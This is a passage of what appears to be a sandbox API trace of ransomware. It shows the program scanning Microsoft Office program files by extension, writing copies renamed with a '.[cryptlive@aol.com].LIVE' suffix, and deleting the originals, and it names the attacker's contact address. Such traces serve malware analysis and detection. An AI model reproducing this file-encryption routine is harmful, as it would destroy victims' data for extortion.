lpString2=".DLL") returned 1 [0154.370] lstrlenW (lpString=".bz2") returned 4 [0154.370] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.370] lstrlenW (lpString=".7z") returned 3 [0154.371] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".dbf") returned 4 [0154.371] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".1cd") returned 4 [0154.371] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".jpg") returned 4 [0154.371] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".doc") returned 4 [0154.371] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString=".docx") returned 5 [0154.371] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0154.371] lstrlenW (lpString=".pdf") returned 4 [0154.371] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString=".xls") returned 4 [0154.371] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString=".xlsx") returned 5 [0154.371] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0154.371] lstrlenW (lpString=".ppt") returned 4 [0154.371] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".zip") returned 4 [0154.371] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString=".rar") returned 4 [0154.371] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.371] lstrlenW (lpString=".bz2") returned 4 [0154.371] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.371] lstrlenW (lpString=".7z") returned 3 [0154.371] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.371] lstrlenW (lpString=".dbf") returned 4 [0154.371] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.372] lstrlenW (lpString=".1cd") returned 4 [0154.372] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0154.372] lstrlenW (lpString=".jpg") returned 4 [0154.372] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.372] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.372] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0154.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.373] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=766384) returned 1 [0154.373] CloseHandle (hObject=0x1e0) returned 1 [0154.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll")) returned 0x20 [0154.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.373] lstrlenW (lpString=".doc") returned 4 [0154.373] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.373] lstrlenW (lpString=".docx") returned 5 [0154.373] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0154.373] lstrlenW (lpString=".pdf") returned 4 [0154.373] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.373] lstrlenW (lpString=".xls") returned 4 [0154.373] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.373] lstrlenW (lpString=".xlsx") returned 5 [0154.373] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0154.373] lstrlenW (lpString=".ppt") returned 4 [0154.373] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.373] lstrlenW (lpString=".zip") returned 4 [0154.373] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.373] lstrlenW (lpString=".rar") returned 4 [0154.374] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".bz2") returned 4 [0154.374] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.374] lstrlenW (lpString=".7z") returned 3 [0154.374] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString=".dbf") returned 4 [0154.374] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString=".1cd") returned 4 [0154.374] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString=".jpg") returned 4 [0154.374] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString=".doc") returned 4 [0154.374] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".docx") returned 5 [0154.374] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0154.374] lstrlenW (lpString=".pdf") returned 4 [0154.374] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".xls") returned 4 [0154.374] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".xlsx") returned 5 [0154.374] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0154.374] lstrlenW (lpString=".ppt") returned 4 [0154.374] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.374] lstrlenW (lpString=".zip") returned 4 [0154.374] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".rar") returned 4 [0154.374] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.374] lstrlenW (lpString=".bz2") returned 4 [0154.374] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.374] lstrlenW (lpString=".7z") returned 3 [0154.374] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.375] lstrlenW (lpString=".dbf") returned 4 [0154.375] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.375] lstrlenW (lpString=".1cd") returned 4 [0154.375] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0154.375] lstrlenW (lpString=".jpg") returned 4 [0154.375] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.375] lstrcmpiW (lpString1=".propdesc", lpString2=".LIVE") returned 1 [0154.375] lstrlenW (lpString="Custom.propdesc") returned 15 [0154.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.375] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1343) returned 1 [0154.376] CloseHandle (hObject=0x1e0) returned 1 [0154.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0154.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.376] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.376] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.377] GetLastError () returned 0x0 [0154.377] ReadFile (in: hFile=0x1e0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x53f, lpOverlapped=0x0) returned 1 [0154.408] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x540, lpOverlapped=0x0) returned 1 [0154.409] ReadFile (in: hFile=0x1e0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.409] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0154.409] SetEndOfFile (hFile=0x314) returned 1 [0154.409] CloseHandle (hObject=0x314) returned 1 [0154.409] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.410] SetEndOfFile (hFile=0x1e0) returned 1 [0154.412] CloseHandle (hObject=0x1e0) returned 1 [0154.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 1 [0154.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.589] lstrlenW (lpString=".doc") returned 4 [0154.589] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0154.589] lstrlenW (lpString=".docx") returned 5 [0154.589] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0154.589] lstrlenW (lpString=".pdf") returned 4 [0154.589] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0154.589] lstrlenW (lpString=".xls") returned 4 [0154.589] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0154.589] lstrlenW (lpString=".xlsx") returned 5 [0154.589] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0154.589] lstrlenW (lpString=".ppt") returned 4 [0154.589] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".zip") returned 4 [0154.590] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".rar") returned 4 [0154.590] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".bz2") returned 4 [0154.590] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".7z") returned 3 [0154.590] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".dbf") returned 4 [0154.590] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".1cd") returned 4 [0154.590] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".jpg") returned 4 [0154.590] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".doc") returned 4 [0154.590] lstrcmpiW (lpString1=".doc", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".docx") returned 5 [0154.590] lstrcmpiW (lpString1=".docx", lpString2="pdesc") returned -1 [0154.590] lstrlenW (lpString=".pdf") returned 4 [0154.590] lstrcmpiW (lpString1=".pdf", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".xls") returned 4 [0154.590] lstrcmpiW (lpString1=".xls", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString=".xlsx") returned 5 [0154.590] lstrcmpiW (lpString1=".xlsx", lpString2="pdesc") returned -1 [0154.590] lstrlenW (lpString=".ppt") returned 4 [0154.590] lstrcmpiW (lpString1=".ppt", lpString2="desc") returned -1 [0154.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.590] lstrlenW (lpString=".zip") returned 4 [0154.590] lstrcmpiW (lpString1=".zip", lpString2="desc") returned -1 [0154.591] lstrlenW (lpString=".rar") returned 4 [0154.591] lstrcmpiW (lpString1=".rar", lpString2="desc") returned -1 [0154.591] lstrlenW (lpString=".bz2") returned 4 [0154.591] lstrcmpiW (lpString1=".bz2", lpString2="desc") returned -1 [0154.591] lstrlenW (lpString=".7z") returned 3 [0154.591] lstrcmpiW (lpString1=".7z", lpString2="esc") returned -1 [0154.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.591] lstrlenW (lpString=".dbf") returned 4 [0154.591] lstrcmpiW (lpString1=".dbf", lpString2="desc") returned -1 [0154.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.591] lstrlenW (lpString=".1cd") returned 4 [0154.591] lstrcmpiW (lpString1=".1cd", lpString2="desc") returned -1 [0154.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned 58 [0154.591] lstrlenW (lpString=".jpg") returned 4 [0154.591] lstrcmpiW (lpString1=".jpg", lpString2="desc") returned -1 [0154.591] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0154.591] lstrlenW (lpString="EDITOR.EXE") returned 10 [0154.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.697] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=199016) returned 1 [0154.697] CloseHandle (hObject=0x314) returned 1 [0154.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe")) returned 0x20 [0154.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.698] lstrlenW (lpString=".doc") returned 4 [0154.698] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0154.698] lstrlenW (lpString=".docx") returned 5 [0154.698] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0154.698] lstrlenW (lpString=".pdf") returned 4 [0154.698] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0154.698] lstrlenW (lpString=".xls") returned 4 [0154.698] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0154.698] lstrlenW (lpString=".xlsx") returned 5 [0154.698] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0154.698] lstrlenW (lpString=".ppt") returned 4 [0154.699] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString=".zip") returned 4 [0154.699] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0154.699] lstrlenW (lpString=".rar") returned 4 [0154.699] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0154.699] lstrlenW (lpString=".bz2") returned 4 [0154.699] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0154.699] lstrlenW (lpString=".7z") returned 3 [0154.699] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString=".dbf") returned 4 [0154.699] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString=".1cd") returned 4 [0154.699] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString=".jpg") returned 4 [0154.699] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.699] lstrlenW (lpString=".doc") returned 4 [0154.699] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0154.699] lstrlenW (lpString=".docx") returned 5 [0154.699] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0154.700] lstrlenW (lpString=".pdf") returned 4 [0154.700] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0154.700] lstrlenW (lpString=".xls") returned 4 [0154.700] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0154.700] lstrlenW (lpString=".xlsx") returned 5 [0154.700] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0154.700] lstrlenW (lpString=".ppt") returned 4 [0154.700] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0154.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.700] lstrlenW (lpString=".zip") returned 4 [0154.700] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0154.700] lstrlenW (lpString=".rar") returned 4 [0154.700] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0154.700] lstrlenW (lpString=".bz2") returned 4 [0154.700] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0154.700] lstrlenW (lpString=".7z") returned 3 [0154.700] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0154.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.700] lstrlenW (lpString=".dbf") returned 4 [0154.700] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0154.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.700] lstrlenW (lpString=".1cd") returned 4 [0154.700] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0154.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE") returned 53 [0154.701] lstrlenW (lpString=".jpg") returned 4 [0154.701] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0154.701] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.701] lstrlenW (lpString="ELEMENTS.DLL") returned 12 [0154.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.720] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=260488) returned 1 [0154.720] CloseHandle (hObject=0x384) returned 1 [0154.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll")) returned 0x20 [0154.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString=".doc") returned 4 [0154.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString=".docx") returned 5 [0154.769] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0154.769] lstrlenW (lpString=".pdf") returned 4 [0154.769] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString=".xls") returned 4 [0154.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString=".xlsx") returned 5 [0154.769] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0154.769] lstrlenW (lpString=".ppt") returned 4 [0154.769] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString=".zip") returned 4 [0154.769] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString=".rar") returned 4 [0154.769] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString=".bz2") returned 4 [0154.769] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.769] lstrlenW (lpString=".7z") returned 3 [0154.769] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString=".dbf") returned 4 [0154.769] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString=".1cd") returned 4 [0154.769] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString=".jpg") returned 4 [0154.769] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL") returned 55 [0154.770] lstrlenW (lpString=".doc") returned 4 [0154.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.770] lstrlenW (lpString=".docx") returned 5 [0154.770] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0154.770] lstrlenW (lpString=".pdf") returned 4 [0154.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.770] lstrlenW 